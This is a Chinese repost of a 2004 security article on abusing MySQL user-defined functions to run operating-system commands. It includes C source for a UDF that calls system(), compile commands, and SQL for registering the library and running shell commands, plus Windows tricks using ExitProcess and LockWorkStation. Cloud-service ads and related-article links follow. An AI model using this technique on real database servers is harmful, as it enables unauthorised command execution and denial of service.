MYSQL用户自定义函数的利用(Linux)

简介:

 MYSQL用户自定义函数的利用(Linux

Chris Anley [chris@ngssoftware.com] 5th July 2004

根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数,简称udf

通过CREATE FUNCTION语句来实现这一机制,同时通过向'mysql.func'表录入信息来加载他们.

通常当MYSQL加载这些动态库时,该动态库文件路径必须能被MYSQL访问.

攻击者会滥用这一机制别有用心地创建一些“恶毒”的动态库文件并将它们通过SELECT ... INTO OUTFILE语句写入可用的目录.当这些文件创建成功过后,攻击者通过insertmysql.func表录入信息以配置MYSQL加载这些动态库文件和执行这些函数。

下面是一段相当简单的UDF链接库的代码 (请原谅他很简陋)(老外真有礼貌!):

#include <stdio.h>

#include <stdlib.h>

/*

compile with something like

gcc -g -c so_system.c

then

gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc

*/

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args

{

unsigned int arg_count; /* Number of arguments */

enum Item_result *arg_type; /* Pointer to item_results */

char **args; /* Pointer to argument */

unsigned long *lengths; /* Length of string arguments */

char *maybe_null; /* Set to 1 for all maybe_null args */

Page 18

} UDF_ARGS;

typedef struct st_udf_init

{

char maybe_null; /* 1 if function can return NULL */

unsigned int decimals; /* for real functions */

unsigned long max_length; /* For string functions */

char *ptr; /* free pointer for function data */

char const_item; /* 0 if result is independent of arguments */

} UDF_INIT;

int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if( args->arg_count != 1 )

return 0;

system( args->args[0] );

return 0;

}

像这样添加函数:

mysql> create function do_system returns integer soname 'so_system.so';

Query OK, 0 rows affected (0.00 sec)

现在表mysql.func类似于这样,当然你也可以使用update来修改它。

mysql> select * from mysql.func;

+-----------+-----+--------------+----------+

| name | ret | dl | type |

+-----------+-----+--------------+----------+

| do_system | 2 | so_system.so | function |

+-----------+-----+--------------+----------+

1 row in set (0.00 sec)

调用函数:

mysql> select do_system('ls > /tmp/test.txt');

+---------------------------------+

| do_system('ls > /tmp/test.txt') |

+---------------------------------+

| -4665733612002344960 |

+---------------------------------+

1 row in set (0.02 sec)

即便文件权限不允许我们在目标系统上建立自己的动态库文件,我们仍然有可能利用已经存在的函数来达成一些邪恶的意图。这给攻击者的困难是,函数的参数列表和MySQL UDF的函数原型不相符:

int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

。。。。。。尽管诡计多端的攻击者可能能够设计出通过调用系统已存在的动态库中可控制的弱点来执行任意代码,但仍然是困难的。

Page 19

MySQL解析执行传递的参数时,仍然可能通过现存的动态库中的函数来做“坏”事的可能性。

举个例子来讲,通过在windows中将函数ExitProcess作为MYSQL UDF来进行调用, 这将立即导致退出,即使你在mysql中并没有shutdown的权限。

mysql> create function ExitProcess returns integer soname 'kernel32';

Query OK, 0 rows affected (0.17 sec)

mysql> select exitprocess();

ERROR 2013: Lost connection to MySQL server during query

你也能讲当前工作站的登录会话锁定(作用相当于ctrl + del alt):

mysql> create function LockWorkStation returns integer soname 'user32';

Query OK, 0 rows affected (0.00 sec)

mysql> select LockWorkStation();










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/575462,如需转载请自行联系原作者

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
Java 关系型数据库 MySQL
在Linux平台上进行JDK、Tomcat、MySQL的安装并部署后端项目
现在,你可以通过访问http://Your_IP:Tomcat_Port/Your_Project访问你的项目了。如果一切顺利,你将看到那绚烂的胜利之光照耀在你的项目之上!
622 41
|
开发框架 Java 关系型数据库
在Linux系统中安装JDK、Tomcat、MySQL以及部署J2EE后端接口
校验时,浏览器输入:http://[your_server_IP]:8080/myapp。如果你看到你的应用的欢迎页面,恭喜你,一切都已就绪。
847 17
|
Java 关系型数据库 MySQL
在Linux操作系统上设置JDK、Tomcat、MySQL以及J2EE后端接口的部署步骤
让我们总结一下,给你的Linux操作系统装备上最强的军队,需要先后装备好JDK的弓箭,布置好Tomcat的阵地,再把MySQL的物资原料准备好,最后部署好J2EE攻城车,那就准备好进军吧,你的Linux军团,无人可挡!
598 18
|
关系型数据库 MySQL Java
安装和配置JDK、Tomcat、MySQL环境,以及如何在Linux下更改后端端口。
遵循这些步骤,你可以顺利完成JDK、Tomcat、MySQL环境的安装和配置,并在Linux下更改后端端口。祝你顺利!
751 11
|
开发框架 关系型数据库 Java
Linux操作系统中JDK、Tomcat、MySQL的完整安装流程以及J2EE后端接口的部署
然后Tomcat会自动将其解压成一个名为ROOT的文件夹。重启Tomcat,让新“植物”适应新环境。访问http://localhost:8080/yourproject看到你的项目页面,说明“植物”种植成功。
384 10
|
关系型数据库 MySQL Linux
查看Linux、Apache、MySQL、PHP版本的技巧
以上就是查看Linux、Apache、MySQL、PHP版本信息的方法。希望这些信息能帮助你更好地理解和使用你的LAMP技术栈。
671 17
|
Oracle 关系型数据库 MySQL
Oracle linux 8 二进制安装 MySQL 8.4企业版
Oracle linux 8 二进制安装 MySQL 8.4企业版
644 1
|
11月前
|
缓存 关系型数据库 BI
使用MYSQL Report分析数据库性能(下)
使用MYSQL Report分析数据库性能
613 158
|
11月前
|
关系型数据库 MySQL 数据库
自建数据库如何迁移至RDS MySQL实例
数据库迁移是一项复杂且耗时的工程,需考虑数据安全、完整性及业务中断影响。使用阿里云数据传输服务DTS,可快速、平滑完成迁移任务,将应用停机时间降至分钟级。您还可通过全量备份自建数据库并恢复至RDS MySQL实例,实现间接迁移上云。
|
11月前
|
关系型数据库 MySQL 数据库
阿里云数据库RDS费用价格:MySQL、SQL Server、PostgreSQL和MariaDB引擎收费标准
阿里云RDS数据库支持MySQL、SQL Server、PostgreSQL、MariaDB,多种引擎优惠上线!MySQL倚天版88元/年,SQL Server 2核4G仅299元/年,PostgreSQL 227元/年起。高可用、可弹性伸缩,安全稳定。详情见官网活动页。
1622 152